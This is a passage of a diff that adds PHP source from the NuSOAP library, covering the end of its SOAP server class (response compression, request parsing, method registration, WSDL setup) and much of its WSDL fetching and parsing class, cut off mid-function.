+ $this->outgoing_headers[] = "X-SOAP-Server: $this->title/$this->version (".$rev[1].")"; + // Let the Web server decide about this + //$this->outgoing_headers[] = "Connection: Close\r\n"; + $payload = $this->getHTTPBody($payload); + $type = $this->getHTTPContentType(); + $charset = $this->getHTTPContentTypeCharset(); + $this->outgoing_headers[] = "Content-Type: $type" . ($charset ? '; charset=' . $charset : ''); + //begin code to compress payload - by John + // NOTE: there is no way to know whether the Web server will also compress + // this data. + if (strlen($payload) > 1024 && isset($this->headers) && isset($this->headers['accept-encoding'])) { + if (strstr($this->headers['accept-encoding'], 'gzip')) { + if (function_exists('gzencode')) { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + $this->outgoing_headers[] = "Content-Encoding: gzip"; + $payload = gzencode($payload); + } else { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + } + } elseif (strstr($this->headers['accept-encoding'], 'deflate')) { + // Note: MSIE requires gzdeflate output (no Zlib header and checksum), + // instead of gzcompress output, + // which conflicts with HTTP 1.1 spec (http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.5) + if (function_exists('gzdeflate')) { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + $this->outgoing_headers[] = "Content-Encoding: deflate"; + $payload = gzdeflate($payload); + } else { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + } + } + } + //end code + $this->outgoing_headers[] = "Content-Length: ".strlen($payload); + reset($this->outgoing_headers); + foreach($this->outgoing_headers as $hdr){ + header($hdr, false); + } + print $payload; + $this->response = join("\r\n",$this->outgoing_headers)."\r\n\r\n".$payload; + } + + /** + * takes the value that was created by parsing the request + * and compares to the method's signature, if available. + * + * @param string $operation The operation to be invoked + * @param array $request The array of parameter values + * @return boolean Whether the operation was found + * @access private + */ + function verify_method($operation,$request){ + if(isset($this->wsdl) && is_object($this->wsdl)){ + if($this->wsdl->getOperationData($operation)){ + return true; + } + } elseif(isset($this->operations[$operation])){ + return true; + } + return false; + } + + /** + * processes SOAP message received from client + * + * @param array $headers The HTTP headers + * @param string $data unprocessed request data from client + * @return mixed value of the message, decoded into a PHP type + * @access private + */ + function parseRequest($headers, $data) { + $this->debug('Entering parseRequest() for data of length ' . strlen($data) . ' headers:'); + $this->appendDebug($this->varDump($headers)); + if (!isset($headers['content-type'])) { + $this->setError('Request not of type text/xml (no content-type header)'); + return false; + } + if (!strstr($headers['content-type'], 'text/xml')) { + $this->setError('Request not of type text/xml'); + return false; + } + if (strpos($headers['content-type'], '=')) { + $enc = str_replace('"', '', substr(strstr($headers["content-type"], '='), 1)); + $this->debug('Got response encoding: ' . $enc); + if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + $this->debug('Use encoding: ' . $this->xml_encoding . ' when creating nusoap_parser'); + // parse response, get soap parser obj + $parser = new nusoap_parser($data,$this->xml_encoding,'',$this->decode_utf8); + // parser debug + $this->debug("parser debug: \n".$parser->getDebug()); + // if fault occurred during message parsing + if($err = $parser->getError()){ + $this->result = 'fault: error in msg parsing: '.$err; + $this->fault('SOAP-ENV:Client',"error in msg parsing:\n".$err); + // else successfully parsed request into soapval object + } else { + // get/set methodname + $this->methodURI = $parser->root_struct_namespace; + $this->methodname = $parser->root_struct_name; + $this->debug('methodname: '.$this->methodname.' methodURI: '.$this->methodURI); + $this->debug('calling parser->get_soapbody()'); + $this->methodparams = $parser->get_soapbody(); + // get SOAP headers + $this->requestHeaders = $parser->getHeaders(); + // get SOAP Header + $this->requestHeader = $parser->get_soapheader(); + // add document for doclit support + $this->document = $parser->document; + } + } + + /** + * gets the HTTP body for the current response. + * + * @param string $soapmsg The SOAP payload + * @return string The HTTP body, which includes the SOAP payload + * @access private + */ + function getHTTPBody($soapmsg) { + return $soapmsg; + } + + /** + * gets the HTTP content type for the current response. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type for the current response. + * @access private + */ + function getHTTPContentType() { + return 'text/xml'; + } + + /** + * gets the HTTP content type charset for the current response. + * returns false for non-text content types. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type charset for the current response. + * @access private + */ + function getHTTPContentTypeCharset() { + return $this->soap_defencoding; + } + + /** + * add a method to the dispatch map (this has been replaced by the register method) + * + * @param string $methodname + * @param string $in array of input values + * @param string $out array of output values + * @access public + * @deprecated + */ + function add_to_map($methodname,$in,$out){ + $this->operations[$methodname] = array('name' => $methodname,'in' => $in,'out' => $out); + } + + /** + * register a service function with the server + * + * @param string $name the name of the PHP function, class.method or class..method + * @param array $in assoc array of input values: key = param name, value = param type + * @param array $out assoc array of output values: key = param name, value = param type + * @param mixed $namespace the element namespace for the method or false + * @param mixed $soapaction the soapaction for the method or false + * @param mixed $style optional (rpc|document) or false Note: when 'document' is specified, parameter and return wrappers are created for you automatically + * @param mixed $use optional (encoded|literal) or false + * @param string $documentation optional Description to include in WSDL + * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) + * @access public + */ + function register($name,$in=array(),$out=array(),$namespace=false,$soapaction=false,$style=false,$use=false,$documentation='',$encodingStyle=''){ + global $HTTP_SERVER_VARS; + + if($this->externalWSDLURL){ + die('You cannot bind to an external WSDL file, and register methods outside of it! Please choose either WSDL or no WSDL.'); + } + if (! $name) { + die('You must specify a name when you register an operation'); + } + if (!is_array($in)) { + die('You must provide an array for operation inputs'); + } + if (!is_array($out)) { + die('You must provide an array for operation outputs'); + } + if(false == $namespace) { + } + if(false == $soapaction) { + if (isset($_SERVER)) { + $SERVER_NAME = $_SERVER['SERVER_NAME']; + $SCRIPT_NAME = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; + $HTTPS = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : (isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'); + } elseif (isset($HTTP_SERVER_VARS)) { + $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; + $SCRIPT_NAME = isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']; + $HTTPS = isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'; + } else { + $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); + } + if ($HTTPS == '1' || $HTTPS == 'on') { + $SCHEME = 'https'; + } else { + $SCHEME = 'http'; + } + $soapaction = "$SCHEME://$SERVER_NAME$SCRIPT_NAME/$name"; + } + if(false == $style) { + $style = "rpc"; + } + if(false == $use) { + $use = "encoded"; + } + if ($use == 'encoded' && $encodingStyle == '') { + $encodingStyle = 'http://schemas.xmlsoap.org/soap/encoding/'; + } + + $this->operations[$name] = array( + 'name' => $name, + 'in' => $in, + 'out' => $out, + 'namespace' => $namespace, + 'soapaction' => $soapaction, + 'style' => $style); + if($this->wsdl){ + $this->wsdl->addOperation($name,$in,$out,$namespace,$soapaction,$style,$use,$documentation,$encodingStyle); + } + return true; + } + + /** + * Specify a fault to be returned to the client. + * This also acts as a flag to the server that a fault has occurred. + * + * @param string $faultcode + * @param string $faultstring + * @param string $faultactor + * @param string $faultdetail + * @access public + */ + function fault($faultcode,$faultstring,$faultactor='',$faultdetail=''){ + if ($faultdetail == '' && $this->debug_flag) { + $faultdetail = $this->getDebug(); + } + $this->fault = new nusoap_fault($faultcode,$faultactor,$faultstring,$faultdetail); + $this->fault->soap_defencoding = $this->soap_defencoding; + } + + /** + * Sets up wsdl object. + * Acts as a flag to enable internal WSDL generation + * + * @param string $serviceName, name of the service + * @param mixed $namespace optional 'tns' service namespace or false + * @param mixed $endpoint optional URL of service endpoint or false + * @param string $style optional (rpc|document) WSDL style (also specified by operation) + * @param string $transport optional SOAP transport + * @param mixed $schemaTargetNamespace optional 'types' targetNamespace for service schema or false + */ + function configureWSDL($serviceName,$namespace = false,$endpoint = false,$style='rpc', $transport = 'http://schemas.xmlsoap.org/soap/http', $schemaTargetNamespace = false) + { + global $HTTP_SERVER_VARS; + + if (isset($_SERVER)) { + $SERVER_NAME = $_SERVER['SERVER_NAME']; + $SERVER_PORT = $_SERVER['SERVER_PORT']; + $SCRIPT_NAME = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']; + $HTTPS = isset($_SERVER['HTTPS']) ? $_SERVER['HTTPS'] : (isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'); + } elseif (isset($HTTP_SERVER_VARS)) { + $SERVER_NAME = $HTTP_SERVER_VARS['SERVER_NAME']; + $SERVER_PORT = $HTTP_SERVER_VARS['SERVER_PORT']; + $SCRIPT_NAME = isset($HTTP_SERVER_VARS['PHP_SELF']) ? $HTTP_SERVER_VARS['PHP_SELF'] : $HTTP_SERVER_VARS['SCRIPT_NAME']; + $HTTPS = isset($HTTP_SERVER_VARS['HTTPS']) ? $HTTP_SERVER_VARS['HTTPS'] : 'off'; + } else { + $this->setError("Neither _SERVER nor HTTP_SERVER_VARS is available"); + } + // If server name has port number attached then strip it (else port number gets duplicated in WSDL output) (occurred using lighttpd and FastCGI) + $colon = strpos($SERVER_NAME,":"); + if ($colon) { + $SERVER_NAME = substr($SERVER_NAME, 0, $colon); + } + if ($SERVER_PORT == 80) { + $SERVER_PORT = ''; + } else { + $SERVER_PORT = ':' . $SERVER_PORT; + } + if(false == $namespace) { + $namespace = "http://$SERVER_NAME/soap/$serviceName"; + } + + if(false == $endpoint) { + if ($HTTPS == '1' || $HTTPS == 'on') { + $SCHEME = 'https'; + } else { + $SCHEME = 'http'; + } + $endpoint = "$SCHEME://$SERVER_NAME$SERVER_PORT$SCRIPT_NAME"; + } + + if(false == $schemaTargetNamespace) { + $schemaTargetNamespace = $namespace; + } + + $this->wsdl = new wsdl; + $this->wsdl->serviceName = $serviceName; + $this->wsdl->endpoint = $endpoint; + $this->wsdl->namespaces['tns'] = $namespace; + $this->wsdl->namespaces['soap'] = 'http://schemas.xmlsoap.org/wsdl/soap/'; + $this->wsdl->namespaces['wsdl'] = 'http://schemas.xmlsoap.org/wsdl/'; + if ($schemaTargetNamespace != $namespace) { + $this->wsdl->namespaces['types'] = $schemaTargetNamespace; + } + $this->wsdl->schemas[$schemaTargetNamespace][0] = new nusoap_xmlschema('', '', $this->wsdl->namespaces); + if ($style == 'document') { + $this->wsdl->schemas[$schemaTargetNamespace][0]->schemaInfo['elementFormDefault'] = 'qualified'; + } + $this->wsdl->schemas[$schemaTargetNamespace][0]->schemaTargetNamespace = $schemaTargetNamespace; + $this->wsdl->schemas[$schemaTargetNamespace][0]->imports['http://schemas.xmlsoap.org/soap/encoding/'][0] = array('location' => '', 'loaded' => true); + $this->wsdl->schemas[$schemaTargetNamespace][0]->imports['http://schemas.xmlsoap.org/wsdl/'][0] = array('location' => '', 'loaded' => true); + $this->wsdl->bindings[$serviceName.'Binding'] = array( + 'name'=>$serviceName.'Binding', + 'style'=>$style, + 'transport'=>$transport, + 'portType'=>$serviceName.'PortType'); + $this->wsdl->ports[$serviceName.'Port'] = array( + 'binding'=>$serviceName.'Binding', + 'location'=>$endpoint, + 'bindingType'=>'http://schemas.xmlsoap.org/wsdl/soap/'); + } +} + +/** + * Backward compatibility + */ +class soap_server extends nusoap_server { +} + +?> +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class wsdl extends nusoap_base { + // URL or filename of the root of this WSDL + var $wsdl; + // define internal arrays of bindings, ports, operations, messages, etc. + var $schemas = array(); + var $currentSchema; + var $message = array(); + var $complexTypes = array(); + var $messages = array(); + var $currentMessage; + var $currentOperation; + var $portTypes = array(); + var $currentPortType; + var $bindings = array(); + var $currentBinding; + var $ports = array(); + var $currentPort; + var $opData = array(); + var $status = ''; + var $documentation = false; + var $endpoint = ''; + // array of wsdl docs to import + var $import = array(); + // parser vars + var $parser; + var $position = 0; + var $depth = 0; + var $depth_array = array(); + // for getting wsdl + var $proxyhost = ''; + var $proxyport = ''; + var $proxyusername = ''; + var $proxypassword = ''; + var $timeout = 0; + var $response_timeout = 30; + var $curl_options = array(); // User-specified cURL options + var $use_curl = false; // whether to always try to use cURL + // for HTTP authentication + var $username = ''; // Username for HTTP authentication + var $password = ''; // Password for HTTP authentication + var $authtype = ''; // Type of HTTP authentication + var $certRequest = array(); // Certificate for HTTP SSL authentication + + /** + * constructor + * + * @param string $wsdl WSDL document URL + * @param string $proxyhost + * @param string $proxyport + * @param string $proxyusername + * @param string $proxypassword + * @param integer $timeout set the connection timeout + * @param integer $response_timeout set the response timeout + * @param array $curl_options user-specified cURL options + * @param boolean $use_curl try to use cURL + * @access public + */ + function wsdl($wsdl = '',$proxyhost=false,$proxyport=false,$proxyusername=false,$proxypassword=false,$timeout=0,$response_timeout=30,$curl_options=null,$use_curl=false){ + parent::nusoap_base(); + $this->debug("ctor wsdl=$wsdl timeout=$timeout response_timeout=$response_timeout"); + $this->proxyhost = $proxyhost; + $this->proxyport = $proxyport; + $this->proxyusername = $proxyusername; + $this->proxypassword = $proxypassword; + $this->timeout = $timeout; + $this->response_timeout = $response_timeout; + if (is_array($curl_options)) + $this->curl_options = $curl_options; + $this->use_curl = $use_curl; + $this->fetchWSDL($wsdl); + } + + /** + * fetches the WSDL document and parses it + * + * @access public + */ + function fetchWSDL($wsdl) { + $this->debug("parse and process WSDL path=$wsdl"); + $this->wsdl = $wsdl; + // parse wsdl file + if ($this->wsdl != "") { + $this->parseWSDL($this->wsdl); + } + // imports + // TODO: handle imports more properly, grabbing them in-line and nesting them + $imported_urls = array(); + $imported = 1; + while ($imported > 0) { + $imported = 0; + // Schema imports + foreach ($this->schemas as $ns => $list) { + foreach ($list as $xs) { + $wsdlparts = parse_url($this->wsdl); // this is bogusly simple! + foreach ($xs->imports as $ns2 => $list2) { + for ($ii = 0; $ii < count($list2); $ii++) { + if (! $list2[$ii]['loaded']) { + $this->schemas[$ns]->imports[$ns2][$ii]['loaded'] = true; + $url = $list2[$ii]['location']; + if ($url != '') { + $urlparts = parse_url($url); + if (!isset($urlparts['host'])) { + $url = $wsdlparts['scheme'] . '://' . $wsdlparts['host'] . (isset($wsdlparts['port']) ? ':' .$wsdlparts['port'] : '') . + substr($wsdlparts['path'],0,strrpos($wsdlparts['path'],'/') + 1) .$urlparts['path']; + } + if (! in_array($url, $imported_urls)) { + $this->parseWSDL($url); + $imported++; + $imported_urls[] = $url; + } + } else { + $this->debug("Unexpected scenario: empty URL for unloaded import"); + } + } + } + } + } + } + // WSDL imports + $wsdlparts = parse_url($this->wsdl); // this is bogusly simple! + foreach ($this->import as $ns => $list) { + for ($ii = 0; $ii < count($list); $ii++) { + if (! $list[$ii]['loaded']) { + $this->import[$ns][$ii]['loaded'] = true; + $url = $list[$ii]['location']; + if ($url != '') { + $urlparts = parse_url($url); + if (!isset($urlparts['host'])) { + $url = $wsdlparts['scheme'] . '://' . $wsdlparts['host'] . (isset($wsdlparts['port']) ? ':' . $wsdlparts['port'] : '') . + substr($wsdlparts['path'],0,strrpos($wsdlparts['path'],'/') + 1) .$urlparts['path']; + } + if (! in_array($url, $imported_urls)) { + $this->parseWSDL($url); + $imported++; + $imported_urls[] = $url; + } + } else { + $this->debug("Unexpected scenario: empty URL for unloaded import"); + } + } + } + } + } + // add new data to operation data + foreach($this->bindings as $binding => $bindingData) { + if (isset($bindingData['operations']) && is_array($bindingData['operations'])) { + foreach($bindingData['operations'] as $operation => $data) { + $this->debug('post-parse data gathering for ' . $operation); + $this->bindings[$binding]['operations'][$operation]['input'] = + isset($this->bindings[$binding]['operations'][$operation]['input']) ? + array_merge($this->bindings[$binding]['operations'][$operation]['input'], $this->portTypes[ $bindingData['portType'] ][$operation]['input']) : + $this->portTypes[ $bindingData['portType'] ][$operation]['input']; + $this->bindings[$binding]['operations'][$operation]['output'] = + isset($this->bindings[$binding]['operations'][$operation]['output']) ? + array_merge($this->bindings[$binding]['operations'][$operation]['output'], $this->portTypes[ $bindingData['portType'] ][$operation]['output']) : + $this->portTypes[ $bindingData['portType'] ][$operation]['output']; + if(isset($this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ])){ + $this->bindings[$binding]['operations'][$operation]['input']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ]; + } + if(isset($this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ])){ + $this->bindings[$binding]['operations'][$operation]['output']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ]; + } + // Set operation style if necessary, but do not override one already provided + if (isset($bindingData['style']) && !isset($this->bindings[$binding]['operations'][$operation]['style'])) { + $this->bindings[$binding]['operations'][$operation]['style'] = $bindingData['style']; + } + $this->bindings[$binding]['operations'][$operation]['transport'] = isset($bindingData['transport']) ? $bindingData['transport'] : ''; + $this->bindings[$binding]['operations'][$operation]['documentation'] = isset($this->portTypes[ $bindingData['portType'] ][$operation]['documentation']) ? $this->portTypes[ $bindingData['portType'] ][$operation]['documentation'] : ''; + $this->bindings[$binding]['operations'][$operation]['endpoint'] = isset($bindingData['endpoint']) ? $bindingData['endpoint'] : ''; + } + } + } + } + + /** + * parses the wsdl document + * + * @param string $wsdl path or URL + * @access private + */ + function parseWSDL($wsdl = '') { + $this->debug("parse WSDL at path=$wsdl"); + + if ($wsdl == '') { + $this->debug('no wsdl passed to parseWSDL()!!'); + $this->setError('no wsdl passed to parseWSDL()!!'); + return false; + } + + // parse $wsdl for url format + $wsdl_props = parse_url($wsdl); + + if (isset($wsdl_props['scheme']) && ($wsdl_props['scheme'] == 'http' || $wsdl_props['scheme'] == 'https')) { + $this->debug('getting WSDL http(s) URL ' . $wsdl); + // get wsdl + $tr = new soap_transport_http($wsdl, $this->curl_options, $this->use_curl); + $tr->request_method = 'GET'; + $tr->useSOAPAction = false; + if($this->proxyhost && $this->proxyport){ + $tr->setProxy($this->proxyhost,$this->proxyport,$this->proxyusername,$this->proxypassword); + } + if ($this->authtype != '') { + $tr->setCredentials($this->username, $this->password, $this->authtype, array(), $this->certRequest); + } + $tr->setEncoding('gzip, deflate'); + $wsdl_string = $tr->send('', $this->timeout, $this->response_timeout); + //$this->debug("WSDL request\n" . $tr->outgoing_payload); + //$this->debug("WSDL response\n" . $tr->incoming_payload); + $this->appendDebug($tr->getDebug()); + // catch errors + if($err = $tr->getError() ){ + $errstr = 'Getting ' . $wsdl . ' - HTTP ERROR: '.$err; + $this->debug($errstr); + $this->setError($errstr); + unset($tr); + return false; + } + unset($tr); + $this->debug("got WSDL URL"); + } else { + // $wsdl is not http(s), so treat it as a file URL or plain file path + if (isset($wsdl_props['scheme']) && ($wsdl_props['scheme'] == 'file') && isset($wsdl_props['path'])) { + $path = isset($wsdl_props['host']) ? ($wsdl_props['host'] . ':' . $wsdl_props['path']) : $wsdl_props['path']; + } else { + $path = $wsdl; + } + $this->debug('getting WSDL file ' . $path); + if ($fp = @fopen($path, 'r')) { + $wsdl_string = ''; + while ($data = fread($fp, 32768)) { + $wsdl_string .= $data; + } + fclose($fp); + } else { + $errstr = "Bad path to WSDL file $path"; + $this->debug($errstr); + $this->setError($errstr); + return false; + } + } + $this->debug('Parse WSDL'); + // end new code added + // Create an XML parser. + $this->parser = xml_parser_create(); + // Set the options for parsing the XML data. + // xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1); + xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); + // Set the object for the parser. + xml_set_object($this->parser, $this); + // Set the element handlers for the parser. + xml_set_element_handler($this->parser, 'start_element', 'end_element'); + xml_set_character_data_handler($this->parser, 'character_data'); + // Parse the XML file. + if (!xml_parse($this->parser, $wsdl_string, true)) { + // Display an error message. + $errstr = sprintf( + 'XML error parsing WSDL from %s on line %d: %s', + $wsdl, + xml_get_current_line_number($this->parser), + xml_error_string(xml_get_error_code($this->parser)) + ); + $this->debug($errstr); + $this->debug("XML payload:\n" . $wsdl_string); + $this->setError($errstr); + return false; + } + // free the parser + xml_parser_free($this->parser); + $this->debug('Parsing WSDL done'); + // catch wsdl parse errors + if($this->getError()){ + return false; + } + return true; + } + + /** + * start-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @param string $attrs associative array of attributes + * @access private + */ + function start_element($parser, $name, $attrs) + { + if ($this->status == 'schema') { + $this->currentSchema->schemaStartElement($parser, $name, $attrs); + $this->appendDebug($this->currentSchema->getDebug()); + $this->currentSchema->clearDebug(); + } elseif (preg_match('/schema$/', $name)) { + $this->debug('Parsing WSDL schema'); + // $this->debug("startElement for $name ($attrs[name]). status = $this->status (".$this->getLocalPart($name).")"); + $this->status = 'schema'; + $this->currentSchema = new nusoap_xmlschema('', '', $this->namespaces); + $this->currentSchema->schemaStartElement($parser, $name, $attrs); + $this->appendDebug($this->currentSchema->getDebug()); + $this->currentSchema->clearDebug(); + } else { + // position in the total number of elements, starting from 0 + $pos = $this->position++; + $depth = $this->depth++; + // set self as current value for this depth + $this->depth_array[$depth] = $pos; + $this->message[$pos] = array('cdata' => ''); + // process attributes + if (count($attrs) > 0) { + // register namespace declarations + foreach($attrs as $k => $v) { + if (preg_match('/^xmlns/',$k)) { + if ($ns_prefix = substr(strrchr($k, ':'), 1)) { + $this->namespaces[$ns_prefix] = $v; + } else { + $this->namespaces['ns' . (count($this->namespaces) + 1)] = $v; + } + if ($v == 'http://www.w3.org/2001/XMLSchema' || $v == 'http://www.w3.org/1999/XMLSchema' || $v == 'http://www.w3.org/2000/10/XMLSchema') { + $this->XMLSchemaVersion = $v; + $this->namespaces['xsi'] = $v . '-instance'; + } + } + } + // expand each attribute prefix to its namespace + foreach($attrs as $k => $v) { + $k = strpos($k, ':') ? $this->expandQname($k) : $k; + if ($k != 'location' && $k != 'soapAction' && $k != 'namespace') { + $v = strpos($v, ':') ? $this->expandQname($v) : $v; + } + $eAttrs[$k] = $v; + } + $attrs = $eAttrs; + } else { + $attrs = array(); + } + // get element prefix, namespace and name + if (preg_match('/:/', $name)) { + // get ns prefix + $prefix = substr($name, 0, strpos($name, ':')); + // get ns + $namespace = isset($this->namespaces[$prefix]) ? $this->namespaces[$prefix] : ''; + // get unqualified name + $name = substr(strstr($name, ':'), 1); + } + // process attributes, expanding any prefixes to namespaces + // find status, register data + switch ($this->status) { + case 'message': + if ($name == 'part') { + if (isset($attrs['type'])) { + $this->debug("msg " . $this->currentMessage . ": found part (with type) $attrs[name]: " . implode(',', $attrs)); + $this->messages[$this->currentMessage][$attrs['name']] = $attrs['type']; + } + if (isset($attrs['element'])) { + $this->debug("msg " . $this->currentMessage . ": found part (with element) $attrs[name]: " . implode(',', $attrs)); + $this->messages[$this->currentMessage][$attrs['name']] = $attrs['element'] . '^'; + } + } + break; + case 'portType': + switch ($name) { + case 'operation': + $this->currentPortOperation = $attrs['name']; + $this->debug("portType $this->currentPortType operation: $this->currentPortOperation"); + if (isset($attrs['parameterOrder'])) { + $this->portTypes[$this->currentPortType][$attrs['name']]['parameterOrder'] = $attrs['parameterOrder']; + } + break; + case 'documentation': + $this->documentation = true; + break; + // merge input/output data + default: + $m = isset($attrs['message']) ? $this->getLocalPart($attrs['message']) : ''; + $this->portTypes[$this->currentPortType][$this->currentPortOperation][$name]['message'] = $m; + break; + } + break; + case 'binding': + switch ($name) { + case 'binding': + // get ns prefix + if (isset($attrs['style'])) { + $this->bindings[$this->currentBinding]['prefix'] = $prefix; + } + $this->bindings[$this->currentBinding] = array_merge($this->bindings[$this->currentBinding], $attrs); + break; + case 'header': + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus]['headers'][] = $attrs; + break; + case 'operation': + if (isset($attrs['soapAction'])) { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['soapAction'] = $attrs['soapAction']; + } + if (isset($attrs['style'])) { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['style'] = $attrs['style']; + } + if (isset($attrs['name'])) { + $this->currentOperation = $attrs['name']; + $this->debug("current binding operation: $this->currentOperation"); + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['name'] = $attrs['name']; + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['binding'] = $this->currentBinding; + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['endpoint'] = isset($this->bindings[$this->currentBinding]['endpoint']) ? $this->bindings[$this->currentBinding]['endpoint'] : ''; + } + break; + case 'input': + $this->opStatus = 'input'; + break; + case 'output': + $this->opStatus = 'output'; + break; + case 'body': + if (isset($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus])) { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = array_merge($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus], $attrs); + } else { + $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = $attrs; + } + break; + } + break; + case 'service': + switch ($name) { + case 'port': + $this->currentPort = $attrs['name']; + $this->debug('current port: ' . $this->currentPort); + $this->ports[$this->currentPort]['binding'] = $this->getLocalPart($attrs['binding']); + + break; + case 'address': + $this->ports[$this->currentPort]['location'] = $attrs['location']; + $this->ports[$this->currentPort]['bindingType'] = $namespace; + $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['bindingType'] = $namespace; + $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['endpoint'] = $attrs['location']; + break; + } + break; + } + // set status + switch ($name) { + case 'import': + if (isset($attrs['location'])) { + $this->import[$attrs['namespace']][] = array('location' => $attrs['location'], 'loaded' => false); + $this->debug('parsing import ' . $attrs['namespace']. ' - ' . $attrs['location'] . ' (' . count($this->import[$attrs['namespace']]).')'); + } else { + $this->import[$attrs['namespace']][] = array('location' => '', 'loaded' => true); + if (! $this->getPrefixFromNamespace($attrs['namespace'])) { + $this->namespaces['ns'.(count($this->namespaces)+1)] = $attrs['namespace']; + } + $this->debug('parsing import ' . $attrs['namespace']. ' - [no location] (' . count($this->import[$attrs['namespace']]).')'); + } + break; + //wait for schema + //case 'types': + // $this->status = 'schema'; + // break; + case 'message': + $this->status = 'message'; + $this->messages[$attrs['name']] = array(); + $this->currentMessage = $attrs['name']; + break; + case 'portType': + $this->status = 'portType'; + $this->portTypes[$attrs['name']] = array(); + $this->currentPortType = $attrs['name']; + break; + case "binding": + if (isset($attrs['name'])) { + // get binding name + if (strpos($attrs['name'], ':')) { + $this->currentBinding = $this->getLocalPart($attrs['name']); + } else { + $this->currentBinding = $attrs['name']; + } + $this->status = 'binding'; + $this->bindings[$this->currentBinding]['portType'] = $this->getLocalPart($attrs['type']); + $this->debug("current binding: $this->currentBinding of portType: " . $attrs['type']); + } + break; + case 'service': + $this->serviceName = $attrs['name']; + $this->status = 'service'; + $this->debug('current service: ' . $this->serviceName); + break; + case 'definitions': + foreach ($attrs as $name => $value) { + $this->wsdl_info[$name] = $value; + } + break; + } + } + } + + /** + * end-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @access private + */ + function end_element($parser, $name){ + // unset schema status + if (/*preg_match('/types$/', $name) ||*/ preg_match('/schema$/', $name)) { + $this->status = ""; + $this->appendDebug($this->currentSchema->getDebug()); + $this->currentSchema->clearDebug(); + $this->schemas[$this->currentSchema->schemaTargetNamespace][] = $this->currentSchema; + $this->debug('Parsing WSDL schema done'); + } + if ($this->status == 'schema') { + $this->currentSchema->schemaEndElement($parser, $name); + } else { + // bring depth down a notch + $this->depth--; + } + // end documentation + if ($this->documentation) { + //TODO: track the node to which documentation should be assigned; it can be a part, message, etc. + //$this->portTypes[$this->currentPortType][$this->currentPortOperation]['documentation'] = $this->documentation; + $this->documentation = false; + } + } + + /** + * element content handler + * + * @param string $parser XML parser object + * @param string $data element content + * @access private + */ + function character_data($parser, $data) + { + $pos = isset($this->depth_array[$this->depth]) ? $this->depth_array[$this->depth] : 0; + if (isset($this->message[$pos]['cdata'])) { + $this->message[$pos]['cdata'] .= $data; + } + if ($this->documentation) { + $this->documentation .= $data; + } + } + + /** + * if authenticating, set user credentials here + * + * @param string $username + * @param string $password + * @param string $authtype (basic|digest|certificate|ntlm) + * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) + * @access public + */ + function setCredentials($username, $password, $authtype = 'basic', $certRequest = array()) { + $this->debug("setCredentials username=$username authtype=$authtype certRequest="); + $this->appendDebug($this->varDump($certRequest)); + $this->username = $username; + $this->password = $password; + $this->authtype = $authtype; + $this->certRequest = $certRequest; + } + + function getBindingData($binding) + { + if (is_array($this->bindings[$binding])) { + return $this->bindings[$binding]; + } + } + + /** + * returns an assoc array of operation names => operation data + * + * @param string $portName WSDL port name + * @param string $bindingType eg: soap, smtp, dime (only soap and soap12 are currently supported) + * @return array + * @access public + */ + function getOperations($portName = '', $bindingType = 'soap') { + $ops = array(); + if ($bindingType == 'soap') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap/'; + } elseif ($bindingType == 'soap12') { + $bindingType = 'http://schemas.xmlsoap.org/wsdl/soap12/'; + } else { + $this->debug("getOperations bindingType $bindingType may not be supported"); + } + $this->debug("getOperations for port '$portName' bindingType $bindingType"); + // loop thru ports + foreach($this->ports as $port => $portData) { + $this->debug("getOperations checking port $port bindingType " . $portData['bindingType']); + if ($portName == '' || $port == $portName) { + // binding type of port matches 